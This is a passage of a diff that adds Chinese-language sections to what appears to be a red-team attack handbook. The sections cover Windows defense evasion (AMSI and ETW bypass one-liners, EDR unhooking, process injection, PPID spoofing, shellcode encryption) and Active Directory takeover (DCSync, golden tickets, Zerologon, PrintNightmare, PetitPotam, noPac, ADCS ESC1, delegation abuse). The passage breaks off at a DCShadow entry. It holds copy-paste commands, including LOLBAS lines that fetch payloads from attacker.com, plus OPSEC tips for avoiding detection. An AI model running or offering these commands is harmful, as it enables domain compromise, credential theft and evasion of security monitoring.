+ **OPSEC:** PowerShell日志可能记录命令;考虑禁用日志;使用混淆技术
1979
+
1980
+ ---
1981
+
1982
+ ### AMSI绕过 `amsi-bypass`
1983
+ 绕过反恶意软件扫描接口
1984
+ 子类:**AMSI绕过** · tags: `amsi` `bypass` `evasion`
1985
+
1986
+ **前置条件:** PowerShell环境;AMSI启用
1987
+
1988
+ **攻击链:**
1989
+
1990
+ **1. 反射绕过** _[windows]_
1991
+ _通过反射禁用AMSI_
1992
+ ```
1993
+ [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed","NonPublic,Static").SetValue($null,$true)
1994
+ ```
1995
+
1996
+ **2. 内存修补** _[windows]_
1997
+ _混淆版本绕过_
1998
+ ```
1999
+ $a=[Ref].Assembly.GetTypes();ForEach($x in $a){if($x.Name -like "*iUtils"){$z=$x}};$y=$z.GetFields("NonPublic,Static");ForEach($x in $y){if($x.Name -like "*itFailed"){$x.SetValue($null,$true)}}
2000
+ ```
2001
+
2002
+ **3. DLL劫持** _[windows]_
2003
+ _通过DLL劫持绕过_
2004
+ ```
2005
+ 替换或劫持amsi.dll
2006
+ ```
2007
+
2008
+ **4. 使用工具** _[windows]_
2009
+ _使用现成工具_
2010
+ ```
2011
+ Import-Module .\AmsiBypass.ps1
2012
+ Invoke-AmsiBypass
2013
+ ```
2014
+
2015
+ ---
2016
+
2017
+ ### ETW Patch绕过 `etw-patch`
2018
+ 禁用ETW监控
2019
+ 子类:**ETW** · tags: `etw` `bypass` `evasion`
2020
+
2021
+ **前置条件:** 代码执行权限
2022
+
2023
+ **攻击链:**
2024
+
2025
+ **1. PowerShell禁用ETW** _[windows]_
2026
+ _PowerShell禁用ETW_
2027
+ ```
2028
+ [System.Diagnostics.Eventing.EventProvider]::SetEnabled([System.Guid]::NewGuid(), 0, 0)
2029
+
2030
+ [Reflection.Assembly]::LoadWithPartialName("System.Diagnostics.Tracing") | Out-Null
2031
+ $etw = [System.Diagnostics.Tracing.EventProvider]::new([Guid]::NewGuid())
2032
+ $etw.SetEnabled(0)
2033
+ ```
2034
+
2035
+ **2. C#禁用ETW** _[windows]_
2036
+ _C#禁用ETW_
2037
+ ```
2038
+ Assembly.Load("System.Diagnostics.Tracing")
2039
+ Type etwType = typeof(EventProvider)
2040
+ MethodInfo setEnabled = etwType.GetMethod("SetEnabled", BindingFlags.NonPublic | BindingFlags.Static)
2041
+ setEnabled.Invoke(null, new object[] { Guid.NewGuid(), 0, 0 })
2042
+ ```
2043
+
2044
+ **3. 修补ntdll** _[windows]_
2045
+ _修补EtwEventWrite_
2046
+ ```
2047
+ $ntdll = [Win32.Kernel32]::LoadLibrary("ntdll.dll")
2048
+ $etwEventWrite = [Win32.Kernel32]::GetProcAddress($ntdll, "EtwEventWrite")
2049
+ [Win32.Kernel32]::VirtualProtect($etwEventWrite, [uint32]1, 0x40, [ref]$oldProtect)
2050
+ [Win32.Kernel32]::WriteProcessMemory(-1, $etwEventWrite, [byte[]](0xC3), 1, [ref]$bytesWritten)
2051
+ ```
2052
+
2053
+ ---
2054
+
2055
+ ### API Unhooking `api-unhooking`
2056
+ 移除EDR的API Hook
2057
+ 子类:**Unhooking** · tags: `unhooking` `hook` `evasion`
2058
+
2059
+ **前置条件:** 代码执行权限
2060
+
2061
+ **攻击链:**
2062
+
2063
+ **1. 从磁盘还原** _[windows]_
2064
+ _从磁盘读取干净DLL_
2065
+ ```
2066
+ $ntdll = [System.IO.File]::ReadAllBytes("C:\Windows\System32\ntdll.dll")
2067
+ $proc = [System.Diagnostics.Process]::GetCurrentProcess()
2068
+ $base = $proc.MainModule.BaseAddress
2069
+ # 找到.text段并覆盖
2070
+ ```
2071
+
2072
+ **2. 从KnownDlls还原** _[windows]_
2073
+ _从KnownDlls还原_
2074
+ ```
2075
+ $section = [Win32.Kernel32]::OpenFileMapping(0x4, $false, "\KnownDlls\ntdll.dll")
2076
+ $map = [Win32.Kernel32]::MapViewOfFile($section, 0x4, 0, 0, 0)
2077
+ # 复制干净的代码段
2078
+ ```
2079
+
2080
+ **3. Hell's Gate** _[windows]_
2081
+ _Hell's Gate技术_
2082
+ ```
2083
+ 通过系统调用号直接调用:
2084
+ 1. 解析NTDLL获取系统调用号
2085
+ 2. 直接执行syscall
2086
+ 3. 绕过用户模式Hook
2087
+ ```
2088
+
2089
+ ---
2090
+
2091
+ ### 进程注入 `process-injection`
2092
+ 将代码注入到其他进程
2093
+ 子类:**进程注入** · tags: `injection` `process` `evasion`
2094
+
2095
+ **前置条件:** 代码执行权限
2096
+
2097
+ **攻击链:**
2098
+
2099
+ **1. 经典DLL注入** _[windows]_
2100
+ _DLL注入_
2101
+ ```
2102
+ $proc = Get-Process -Name notepad
2103
+ $handle = [Win32.Kernel32]::OpenProcess(0x1F0FFF, $false, $proc.Id)
2104
+ $addr = [Win32.Kernel32]::VirtualAllocEx($handle, 0, $dllPath.Length, 0x3000, 0x40)
2105
+ [Win32.Kernel32]::WriteProcessMemory($handle, $addr, $dllPath, $dllPath.Length, [ref]0)
2106
+ [Win32.Kernel32]::CreateRemoteThread($handle, 0, 0, $loadLibraryAddr, $addr, 0, [ref]0)
2107
+ ```
2108
+
2109
+ **2. Process Hollowing** _[windows]_
2110
+ _进程镂空_
2111
+ ```
2112
+ 1. CreateProcess(CREATE_SUSPENDED)
2113
+ 2. NtUnmapViewOfSection
2114
+ 3. VirtualAllocEx
2115
+ 4. WriteProcessMemory
2116
+ 5. ResumeThread
2117
+ ```
2118
+
2119
+ **3. APC注入** _[windows]_
2120
+ _APC队列注入_
2121
+ ```
2122
+ $threadId = $proc.Threads[0].Id
2123
+ $queueAPC = [Win32.Kernel32]::GetProcAddress($kernel32, "QueueUserAPC")
2124
+ [Win32.Kernel32]::QueueUserAPC($queueAPC, $handle, $addr)
2125
+ ```
2126
+
2127
+ ---
2128
+
2129
+ ### AppLocker绕过 `applocker-bypass`
2130
+ 绕过AppLocker应用程序限制
2131
+ 子类:**AppLocker** · tags: `applocker` `bypass` `evasion`
2132
+
2133
+ **前置条件:** AppLocker限制环境
2134
+
2135
+ **攻击链:**
2136
+
2137
+ **1. 使用白名单路径** _[windows]_
2138
+ _使用白名单可执行文件_
2139
+ ```
2140
+ C:\Windows\System32\spoolsv.exe
2141
+ C:\Windows\System32\svchost.exe
2142
+ C:\Program Files\Internet Explorer\ieexec.exe
2143
+ ```
2144
+
2145
+ **2. LOLBAS利用** _[windows]_
2146
+ _LOLBAS技术_
2147
+ ```
2148
+ regsvr32.exe /s /n /u /i:http://attacker.com/shell.sct scrobj.dll
2149
+ mshta.exe http://attacker.com/shell.hta
2150
+ certutil.exe -urlcache -split -f http://attacker.com/shell.exe shell.exe
2151
+ ```
2152
+
2153
+ **3. InstallUtil** _[windows]_
2154
+ _InstallUtil绕过_
2155
+ ```
2156
+ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U shell.exe
2157
+ ```
2158
+
2159
+ **4. MSBuild** _[windows]_
2160
+ _MSBuild执行代码_
2161
+ ```
2162
+ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe shell.csproj
2163
+ ```
2164
+
2165
+ ---
2166
+
2167
+ ### BlockDLLs技术 `evasion-blockdlls`
2168
+ 阻止非微软DLL加载
2169
+ 子类:**BlockDLLs** · tags: `evasion` `blockdlls` `edr`
2170
+
2171
+ **前置条件:** Windows系统;Cobalt Strike或其他工具
2172
+
2173
+ **攻击链:**
2174
+
2175
+ **1. Cobalt Strike BlockDLLs** _[windows]_
2176
+ _启用BlockDLLs_
2177
+ ```
2178
+ beacon> blockdlls start
2179
+ 阻止非微软签名的DLL加载
2180
+ beacon> blockdlls stop
2181
+ 恢复DLL加载
2182
+ ```
2183
+
2184
+ **2. 进程创建时启用** _[windows]_
2185
+ _进程创建时启用_
2186
+ ```
2187
+ 使用CREATE_SUSPENDED标志创建进程
2188
+ 设置ProcessSignaturePolicy
2189
+ 阻止EDR DLL注入
2190
+ ```
2191
+
2192
+ **3. C#实现** _[windows]_
2193
+ _C#实现BlockDLLs_
2194
+ ```
2195
+ [DllImport("kernel32.dll")]
2196
+ static extern bool SetProcessMitigationPolicy(...);
2197
+ ProcessSignaturePolicy policy = new ProcessSignaturePolicy();
2198
+ policy.SignatureLevel = 0x0F;
2199
+ SetProcessMitigationPolicy(ProcessMitigationPolicy.Signature, ref policy, size);
2200
+ ```
2201
+
2202
+ ---
2203
+
2204
+ ### Shellcode加密 `evasion-shellcode-encrypt`
2205
+ 加密Shellcode绕过静态检测
2206
+ 子类:**Shellcode加密** · tags: `evasion` `shellcode` `encrypt`
2207
+
2208
+ **前置条件:** Shellcode;加密工具
2209
+
2210
+ **攻击链:**
2211
+
2212
+ **1. AES加密Shellcode**
2213
+ _AES加密_
2214
+ ```
2215
+ 使用工具加密:
2216
+ python shellcode_encoder.py --input shellcode.bin --output encoded.bin --key randomkey
2217
+ 生成加密的Shellcode和解密代码
2218
+ ```
2219
+
2220
+ **2. XOR加密**
2221
+ _XOR加密_
2222
+ ```
2223
+ 简单XOR加密:
2224
+ for i in range(len(shellcode)):
2225
+ encoded[i] = shellcode[i] ^ key[i % len(key)]
2226
+ 运行时解密执行
2227
+ ```
2228
+
2229
+ **3. RC4加密**
2230
+ _RC4加密_
2231
+ ```
2232
+ 使用RC4加密Shellcode:
2233
+ from Crypto.Cipher import ARC4
2234
+ cipher = ARC4.new(key)
2235
+ encrypted = cipher.encrypt(shellcode)
2236
+ 运行时使用相同密钥解密
2237
+ ```
2238
+
2239
+ **4. 多态加密**
2240
+ _多态加密_
2241
+ ```
2242
+ 每次生成不同的解密代码:
2243
+ - 随机密钥
2244
+ - 随机解密顺序
2245
+ - 添加垃圾指令
2246
+ - 控制流混淆
2247
+ ```
2248
+
2249
+ ---
2250
+
2251
+ ### 进程伪装 `evasion-process-masq`
2252
+ 伪装进程名称和路径
2253
+ 子类:**进程伪装** · tags: `evasion` `process` `masquerade`
2254
+
2255
+ **前置条件:** Windows系统
2256
+
2257
+ **攻击链:**
2258
+
2259
+ **1. PPID欺骗** _[windows]_
2260
+ _PPID欺骗_
2261
+ ```
2262
+ Cobalt Strike:
2263
+ beacon> ppid 1234
2264
+ 设置父进程ID为合法进程
2265
+ beacon> run [command]
2266
+ 新进程继承合法父进程
2267
+ ```
2268
+
2269
+ **2. 进程参数欺骗** _[windows]_
2270
+ _参数欺骗_
2271
+ ```
2272
+ CreateProcess参数:
2273
+ - lpApplicationName: 合法程序路径
2274
+ - lpCommandLine: 包含恶意命令
2275
+ - 显示为合法进程
2276
+ ```
2277
+
2278
+ **3. 进程镂空** _[windows]_
2279
+ _进程镂空_
2280
+ ```
2281
+ 1. 创建合法进程(挂起状态)
2282
+ 2. 写入恶意代码
2283
+ 3. 恢复线程执行
2284
+ 进程名显示为合法程序
2285
+ ```
2286
+
2287
+ ---
2288
+
2289
+ ### PPID欺骗 `evasion-ppid-spoof`
2290
+ 伪造父进程ID
2291
+ 子类:**PPID欺骗** · tags: `evasion` `ppid` `spoofing`
2292
+
2293
+ **前置条件:** Windows系统;父进程句柄
2294
+
2295
+ **攻击链:**
2296
+
2297
+ **1. PowerShell实现** _[windows]_
2298
+ _PowerShell PPID欺骗_
2299
+ ```
2300
+ $parent = Get-Process -Name explorer
2301
+ $pi = New-Object System.Diagnostics.ProcessStartInfo
2302
+ $pi.FileName = "cmd.exe"
2303
+ $pi.ParentProcessId = $parent.Id
2304
+ [System.Diagnostics.Process]::Start($pi)
2305
+ ```
2306
+
2307
+ **2. C#实现** _[windows]_
2308
+ _C#实现_
2309
+ ```
2310
+ [StructLayout(LayoutKind.Sequential)]
2311
+ public struct STARTUPINFOEX {
2312
+ public STARTUPINFO StartupInfo;
2313
+ public IntPtr lpAttributeList;
2314
+ }
2315
+ 使用PROC_THREAD_ATTRIBUTE_PARENT_PROCESS属性
2316
+ ```
2317
+
2318
+ **3. Cobalt Strike** _[windows]_
2319
+ _Cobalt Strike实现_
2320
+ ```
2321
+ beacon> ppid [explorer_pid]
2322
+ beacon> run notepad.exe
2323
+ 新进程父进程为explorer.exe
2324
+ ```
2325
+
2326
+ ---
2327
+
2328
+ ### DLL侧加载 `evasion-dll-sideloading`
2329
+ 利用DLL搜索顺序加载恶意DLL
2330
+ 子类:**DLL侧加载** · tags: `evasion` `dll` `sideloading`
2331
+
2332
+ **前置条件:** Windows系统;可执行文件
2333
+
2334
+ **攻击链:**
2335
+
2336
+ **1. DLL劫持** _[windows]_
2337
+ _DLL劫持原理_
2338
+ ```
2339
+ 1. 找到可执行文件加载的DLL
2340
+ 2. 将恶意DLL放在搜索路径优先位置
2341
+ 3. 执行程序时加载恶意DLL
2342
+ ```
2343
+
2344
+ **2. DLL转发** _[windows]_
2345
+ _DLL转发_
2346
+ ```
2347
+ #pragma comment(linker, "/export:OriginalFunction=original.dll.OriginalFunction")
2348
+ 导出原始DLL的函数
2349
+ 同时执行恶意代码
2350
+ ```
2351
+
2352
+ **3. 常见目标** _[windows]_
2353
+ _常见目标DLL_
2354
+ ```
2355
+ 常见DLL劫持目标:
2356
+ - version.dll
2357
+ - dwmapi.dll
2358
+ - uxtheme.dll
2359
+ - cryptsp.dll
2360
+ - winmm.dll
2361
+ ```
2362
+
2363
+ ---
2364
+
2365
+ ### 参数欺骗 `evasion-arg-spoofing`
2366
+ 欺骗进程参数显示
2367
+ 子类:**参数欺骗** · tags: `evasion` `argument` `spoofing`
2368
+
2369
+ **前置条件:** Windows系统
2370
+
2371
+ **攻击链:**
2372
+
2373
+ **1. 命令行欺骗** _[windows]_
2374
+ _命令行欺骗_
2375
+ ```
2376
+ CreateProcess参数:
2377
+ lpApplicationName = "C:\Windows\System32\cmd.exe"
2378
+ lpCommandLine = "C:\Windows\System32\cmd.exe /c whoami"
2379
+ 实际执行恶意命令
2380
+ ```
2381
+
2382
+ **2. 环境变量欺骗** _[windows]_
2383
+ _环境变量欺骗_
2384
+ ```
2385
+ 使用环境变量隐藏参数:
2386
+ set EVIL=malicious_command
2387
+ cmd /c %EVIL%
2388
+ 进程列表不显示实际命令
2389
+ ```
2390
+
2391
+ **3. PEB修改** _[windows]_
2392
+ _PEB修改_
2393
+ ```
2394
+ 修改PEB中的命令行:
2395
+ 1. 创建进程
2396
+ 2. 修改PEB中的CommandLine缓冲区
2397
+ 3. 进程管理器显示假参数
2398
+ ```
2399
+
2400
+ ---
2401
+
2402
+ ### 签名二进制利用 `evasion-signed-binary`
2403
+ 利用微软签名二进制执行代码
2404
+ 子类:**签名二进制** · tags: `evasion` `signed` `lolbin`
2405
+
2406
+ **前置条件:** Windows系统
2407
+
2408
+ **攻击链:**
2409
+
2410
+ **1. MSBuild** _[windows]_
2411
+ _MSBuild执行_
2412
+ ```
2413
+ msbuild.exe malicious.csproj
2414
+ 执行嵌入的C#代码
2415
+ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
2416
+ ```
2417
+
2418
+ **2. InstallUtil** _[windows]_
2419
+ _InstallUtil执行_
2420
+ ```
2421
+ InstallUtil.exe /logfile= /LogToConsole=false /U malicious.dll
2422
+ 执行.NET程序集
2423
+ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
2424
+ ```
2425
+
2426
+ **3. Regsvcs/Regasm** _[windows]_
2427
+ _Regsvcs/Regasm_
2428
+ ```
2429
+ regsvcs.exe malicious.dll
2430
+ regasm.exe malicious.dll
2431
+ 执行.NET程序集
2432
+ ```
2433
+
2434
+ **4. Rundll32** _[windows]_
2435
+ _Rundll32执行_
2436
+ ```
2437
+ rundll32.exe javascript:"\..\mshtml,RunHTMLApplication"
2438
+ rundll32.exe shell32.dll,Control_RunDLL malicious.cpl
2439
+ ```
2440
+
2441
+ ---
2442
+
2443
+ ### CLR注入 `evasion-clr-injection`
2444
+ CLR内存注入技术
2445
+ 子类:**CLR注入** · tags: `evasion` `clr` `injection`
2446
+
2447
+ **前置条件:** Windows系统;.NET环境
2448
+
2449
+ **攻击链:**
2450
+
2451
+ **1. CLR内存加载** _[windows]_
2452
+ _CLR加载原理_
2453
+ ```
2454
+ 使用CLR接口加载.NET程序集:
2455
+ 1. 获取CLR运行时
2456
+ 2. 创建AppDomain
2457
+ 3. 加载程序集
2458
+ 4. 执行入口点
2459
+ ```
2460
+
2461
+ **2. C#实现** _[windows]_
2462
+ _C# CLR加载_
2463
+ ```
2464
+ var clr = new ClrModule();
2465
+ clr.LoadAssembly(File.ReadAllBytes("malicious.exe"));
2466
+ clr.Execute("Main");
2467
+ 从内存执行.NET程序
2468
+ ```
2469
+
2470
+ **3. Cobalt Strike** _[windows]_
2471
+ _Cobalt Strike实现_
2472
+ ```
2473
+ beacon> execute-assembly /path/to/tool.exe args
2474
+ 从内存执行.NET程序集
2475
+ 不落地执行
2476
+ ```
2477
+
2478
+ ---
2479
+
2480
+
2481
+ ## 域渗透攻击
2482
+
2483
+ ### 域内权限提升路径 `domain-privilege-escalation`
2484
+ 利用ACL错误配置进行域权限提升
2485
+ 子类:**权限提升** · tags: `acl` `privilege` `active-directory` `escalation`
2486
+
2487
+ **前置条件:** 域环境;普通域用户凭证;BloodHound分析结果
2488
+
2489
+ **攻击链:**
2490
+
2491
+ **1. BloodHound分析**
2492
+ _查询到域管理员的最短路径_
2493
+ ```
2494
+ MATCH p=shortestPath((n:User)-[*1..]->(m:Group)) WHERE m.name="DOMAIN ADMINS@DOMAIN.COM" RETURN p
2495
+ ```
2496
+
2497
+ **2. 查找WriteDACL** _[windows]_
2498
+ _查找WriteDACL权限_
2499
+ ```
2500
+ Get-ObjectAcl -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -like "*WriteDACL*"}
2501
+ ```
2502
+
2503
+ **3. 利用WriteDACL** _[windows]_
2504
+ _添加DCSync权限_
2505
+ ```
2506
+ Add-DomainObjectAcl -TargetIdentity TARGET$ -Rights DCSync -PrincipalIdentity CONTROLLED_USER
2507
+ ```
2508
+
2509
+ **4. 执行DCSync** _[windows]_
2510
+ _执行DCSync获取域管哈希_
2511
+ ```
2512
+ mimikatz.exe "lsadump::dcsync /domain:domain.com /user:Administrator" "exit"
2513
+ ```
2514
+
2515
+ **5. 查找GenericAll** _[windows]_
2516
+ _查找GenericAll权限_
2517
+ ```
2518
+ Get-ObjectAcl -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -like "*GenericAll*"}
2519
+ ```
2520
+
2521
+ **6. 重置密码** _[windows]_
2522
+ _重置目标用户密码_
2523
+ ```
2524
+ Set-DomainUserPassword -Identity TARGET_USER -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force)
2525
+ ```
2526
+
2527
+ **EDR 绕过变体:**
2528
+
2529
+ **1. 隐蔽操作**
2530
+ _指定域控制器操作_
2531
+ ```
2532
+ Add-DomainObjectAcl -TargetIdentity TARGET$ -Rights DCSync -PrincipalIdentity CONTROLLED_USER -DomainController dc.domain.com
2533
+ ```
2534
+
2535
+ **分析:** 域内ACL错误配置是常见的权限提升路径,可以通过BloodHound发现。
2536
+
2537
+ **OPSEC:** ACL修改会产生日志;优先使用隐蔽的权限;BloodHound可以发现攻击路径
2538
+
2539
+ ---
2540
+
2541
+ ### 跨域信任攻击 `domain-cross-trust`
2542
+ 利用域信任关系进行跨域攻击
2543
+ 子类:**跨域攻击** · tags: `trust` `cross-domain` `active-directory` `forest`
2544
+
2545
+ **前置条件:** 已获取源域权限;存在域信任关系;目标域信息
2546
+
2547
+ **攻击链:**
2548
+
2549
+ **1. 枚举信任关系** _[windows]_
2550
+ _枚举域信任关系_
2551
+ ```
2552
+ Get-NetDomainTrust
2553
+ ```
2554
+
2555
+ **2. 枚举森林信任** _[windows]_
2556
+ _枚举森林信任关系_
2557
+ ```
2558
+ Get-NetForestTrust
2559
+ ```
2560
+
2561
+ **3. 跨域用户枚举** _[windows]_
2562
+ _枚举目标域用户_
2563
+ ```
2564
+ Get-NetUser -Domain target.domain.com
2565
+ ```
2566
+
2567
+ **4. 跨域组枚举** _[windows]_
2568
+ _枚举目标域组_
2569
+ ```
2570
+ Get-NetGroup -Domain target.domain.com
2571
+ ```
2572
+
2573
+ **5. SID History攻击** _[windows]_
2574
+ _利用SID History跨域提权_
2575
+ ```
2576
+ mimikatz.exe "kerberos::golden /domain:source.domain.com /sid:S-1-5-21-SOURCE /sids:S-1-5-21-TARGET-519 /krbtgt:HASH /user:Administrator /ptt" "exit"
2577
+ ```
2578
+
2579
+ **6. 跨域票据** _[windows]_
2580
+ _请求目标域票据_
2581
+ ```
2582
+ asktgt.exe -domain target.domain.com -user Administrator -hash :HASH
2583
+ ```
2584
+
2585
+ **EDR 绕过变体:**
2586
+
2587
+ **1. 隐蔽跨域**
2588
+ _指定目标域控制器枚举_
2589
+ ```
2590
+ Get-NetUser -Domain target.domain.com -DomainController dc.target.domain.com
2591
+ ```
2592
+
2593
+ **分析:** 跨域信任攻击可以利用信任关系从低安全域向高安全域移动。
2594
+
2595
+ **OPSEC:** 跨域攻击会产生日志;SID History需要特殊权限;森林信任更安全
2596
+
2597
+ ---
2598
+
2599
+ ### Zerologon攻击 `zerologon`
2600
+ CVE-2020-1472 Netlogon提权
2601
+ 子类:**Zerologon** · tags: `zerologon` `cve-2020-1472` `domain`
2602
+
2603
+ **前置条件:** 可访问域控制器RPC
2604
+
2605
+ **攻击链:**
2606
+
2607
+ **1. 检测漏洞** _[linux]_
2608
+ _检测漏洞_
2609
+ ```
2610
+ python zerologon_tester.py DC_NAME DC_IP
2611
+ 检测是否存在漏洞
2612
+ ```
2613
+
2614
+ **2. 利用漏洞** _[linux]_
2615
+ _利用漏洞_
2616
+ ```
2617
+ python zerologon_exploit.py DC_NAME DC_IP
2618
+ 将DC密码置空
2619
+ ```
2620
+
2621
+ **3. 导出哈希** _[linux]_
2622
+ _导出哈希_
2623
+ ```
2624
+ secretsdump.py -just-dc -no-pass DOMAIN/DC_NAME$@DC_IP
2625
+ 导出域内所有哈希
2626
+ ```
2627
+
2628
+ **4. 恢复密码** _[linux]_
2629
+ _恢复密码_
2630
+ ```
2631
+ python zerologon_restore.py DC_NAME DC_IP ORIGINAL_NTLM
2632
+ 恢复域控密码避免破坏
2633
+ ```
2634
+
2635
+ ---
2636
+
2637
+ ### PrintNightmare攻击 `printnightmare`
2638
+ CVE-2021-34527 打印服务漏洞
2639
+ 子类:**PrintNightmare** · tags: `printnightmare` `cve-2021-34527` `rce`
2640
+
2641
+ **前置条件:** 可访问打印服务RPC
2642
+
2643
+ **攻击链:**
2644
+
2645
+ **1. 检测漏洞** _[linux]_
2646
+ _检测打印服务_
2647
+ ```
2648
+ rpcdump.py @DC_IP | grep MS-RPRN
2649
+ 检查打印服务是否可用
2650
+ ```
2651
+
2652
+ **2. 利用漏洞** _[linux]_
2653
+ _利用漏洞_
2654
+ ```
2655
+ python CVE-2021-34527.py -target DC_IP -payload DLL_PATH
2656
+ 加载恶意DLL获取SYSTEM权限
2657
+ ```
2658
+
2659
+ **3. Impacket利用** _[linux]_
2660
+ _使用Impacket_
2661
+ ```
2662
+ python dementor.py -d domain -u user -p pass \\attacker\share DC_IP
2663
+ 触发加载远程DLL
2664
+ ```
2665
+
2666
+ ---
2667
+
2668
+ ### PetitPotam攻击 `petitpotam`
2669
+ CVE-2021-36942 强制认证攻击
2670
+ 子类:**PetitPotam** · tags: `petitpotam` `cve-2021-36942` `relay`
2671
+
2672
+ **前置条件:** 可访问EFSRPC接口
2673
+
2674
+ **攻击链:**
2675
+
2676
+ **1. 启动中继** _[linux]_
2677
+ _启动NTLM中继_
2678
+ ```
2679
+ python ntlmrelayx.py -t ldap://DC_IP -smb2support --adcs
2680
+ 设置NTLM中继到ADCS
2681
+ ```
2682
+
2683
+ **2. 触发认证** _[linux]_
2684
+ _触发认证_
2685
+ ```
2686
+ python petitpotam.py -d domain -u user -p pass attacker_ip DC_IP
2687
+ 强制DC向攻击者认证
2688
+ ```
2689
+
2690
+ **3. 获取证书** _[linux]_
2691
+ _获取证书_
2692
+ ```
2693
+ 中继成功后获取用户证书
2694
+ 使用证书进行Pass-the-Cert
2695
+ ```
2696
+
2697
+ ---
2698
+
2699
+ ### noPac/SAMAccountName攻击 `samaccountname`
2700
+ CVE-2021-42278/CVE-2021-42287 域提权
2701
+ 子类:**noPac** · tags: `nopac` `cve-2021-42278` `privesc`
2702
+
2703
+ **前置条件:** 普通域用户权限
2704
+
2705
+ **攻击链:**
2706
+
2707
+ **1. 检测漏洞** _[linux]_
2708
+ _检测漏洞_
2709
+ ```
2710
+ python noPac.py domain/user:password -dc-ip DC_IP -debug
2711
+ 检测是否存在漏洞
2712
+ ```
2713
+
2714
+ **2. 利用漏洞** _[linux]_
2715
+ _利用漏洞_
2716
+ ```
2717
+ python noPac.py domain/user:password -dc-ip DC_IP -dc-host DC_NAME -shell
2718
+ 获取域管权限
2719
+ ```
2720
+
2721
+ **3. 攻击原理**
2722
+ _攻击原理_
2723
+ ```
2724
+ 1. 创建机器账户(名称类似DC)
2725
+ 2. 清除SPN
2726
+ 3. 请求TGT
2727
+ 4. 删除机器账户
2728
+ 5. 获取域管TGT
2729
+ ```
2730
+
2731
+ ---
2732
+
2733
+ ### ADCS滥用攻击 `adcs-abuse`
2734
+ Active Directory证书服务滥用
2735
+ 子类:**ADCS** · tags: `adcs` `certificate` `domain`
2736
+
2737
+ **前置条件:** ADCS服务可访问
2738
+
2739
+ **攻击链:**
2740
+
2741
+ **1. 枚举ADCS** _[linux]_
2742
+ _枚举ADCS配置_
2743
+ ```
2744
+ certipy find -u user@domain -p password -dc-ip DC_IP
2745
+ 枚举证书模板
2746
+ ```
2747
+
2748
+ **2. 请求用户证书** _[linux]_
2749
+ _请求证书_
2750
+ ```
2751
+ certipy req -u user@domain -p password -ca CA_NAME -template User
2752
+ 请求用户证书
2753
+ ```
2754
+
2755
+ **3. Pass-the-Cert** _[linux]_
2756
+ _使用证书认证_
2757
+ ```
2758
+ certipy auth -pfx user.pfx -dc-ip DC_IP
2759
+ 使用证书获取TGT
2760
+ ```
2761
+
2762
+ **4. Rubeus请求** _[windows]_
2763
+ _Rubeus利用_
2764
+ ```
2765
+ Rubeus.exe asktgt /user:target /certificate:cert.pfx /ptt
2766
+ 使用Rubeus请求TGT
2767
+ ```
2768
+
2769
+ ---
2770
+
2771
+ ### ADCS ESC1漏洞 `adcs-esc1`
2772
+ 证书模板ESC1滥用
2773
+ 子类:**ADCS** · tags: `adcs` `esc1` `certificate`
2774
+
2775
+ **前置条件:** 存在ESC1配置的模板
2776
+
2777
+ **攻击链:**
2778
+
2779
+ **1. 识别ESC1** _[linux]_
2780
+ _识别漏洞模板_
2781
+ ```
2782
+ certipy find -u user@domain -p password -vulnerable
2783
+ 查找ESC1漏洞模板
2784
+ ```
2785
+
2786
+ **2. 利用ESC1** _[linux]_
2787
+ _请求域管证书_
2788
+ ```
2789
+ certipy req -u user@domain -p password -ca CA_NAME -template ESC1_TEMPLATE -alt admin@domain
2790
+ 指定SAN为域管
2791
+ ```
2792
+
2793
+ **3. 认证为域管** _[linux]_
2794
+ _认证为域管_
2795
+ ```
2796
+ certipy auth -pfx admin.pfx -dc-ip DC_IP
2797
+ 使用证书认证为域管
2798
+ ```
2799
+
2800
+ ---
2801
+
2802
+ ### 约束委派攻击 `constrained-delegation`
2803
+ 利用约束委派进行横向移动
2804
+ 子类:**委派攻击** · tags: `delegation` `constrained` `kerberos`
2805
+
2806
+ **前置条件:** 存在约束委派配置的账户
2807
+
2808
+ **攻击链:**
2809
+
2810
+ **1. 查找约束委派** _[windows]_
2811
+ _查找约束委派账户_
2812
+ ```
2813
+ Get-ADUser -Filter {TrustedToAuthForDelegation -eq $true} -Properties TrustedToAuthForDelegation
2814
+
2815
+ bloodhound查询
2816
+ ```
2817
+
2818
+ **2. 获取服务票据** _[windows]_
2819
+ _S4U2Self + S4U2Proxy_
2820
+ ```
2821
+ Rubeus.exe s4u /user:SERVICE_ACCOUNT$ /rc4:HASH /msdsspn:CIFS/target.domain.com /impersonateuser:Administrator
2822
+ 获取域管的服务票据
2823
+ ```
2824
+
2825
+ **3. 使用票据** _[windows]_
2826
+ _注入票据_
2827
+ ```
2828
+ Rubeus.exe ptt /ticket:BASE64_TICKET
2829
+ 注入票据并访问服务
2830
+ ```
2831
+
2832
+ ---
2833
+
2834
+ ### 基于资源的约束委派 `resource-delegation`
2835
+ 利用RBCD进行权限提升
2836
+ 子类:**委派攻击** · tags: `rbcd` `delegation` `kerberos`
2837
+
2838
+ **前置条件:** 对目标对象有WriteDACL权限
2839
+
2840
+ **攻击链:**
2841
+
2842
+ **1. 创建机器账户** _[windows]_
2843
+ _创建机器账户_
2844
+ ```
2845
+ New-MachineAccount -MachineAccount FAKECOMPUTER -Password $(ConvertTo-SecureString "password" -AsPlainText -Force)
2846
+ 创建新的机器账户
2847
+ ```
2848
+
2849
+ **2. 配置RBCD** _[windows]_
2850
+ _配置RBCD_
2851
+ ```
2852
+ Set-ADComputer -Identity TARGET_COMPUTER -PrincipalsAllowedToDelegateToAccount FAKECOMPUTER$
2853
+ 设置委派关系
2854
+ ```
2855
+
2856
+ **3. 利用RBCD** _[windows]_
2857
+ _利用RBCD_
2858
+ ```
2859
+ Rubeus.exe s4u /user:FAKECOMPUTER$ /rc4:HASH /impersonateuser:Administrator /msdsspn:CIFS/target.domain.com
2860
+ 获取域管票据
2861
+ ```
2862
+
2863
+ ---
2864
+
2865
+ ### DCShadow攻击 `dcshadow-attack`
2866
+ 伪造域控制器注入数据
2867
+ 子类:**DCShadow** · tags: `dcshadow` `domain` `injection`
2868
+
2869
+ **前置条件:** 域管理员权限;可注册新DC
2870
+
2871
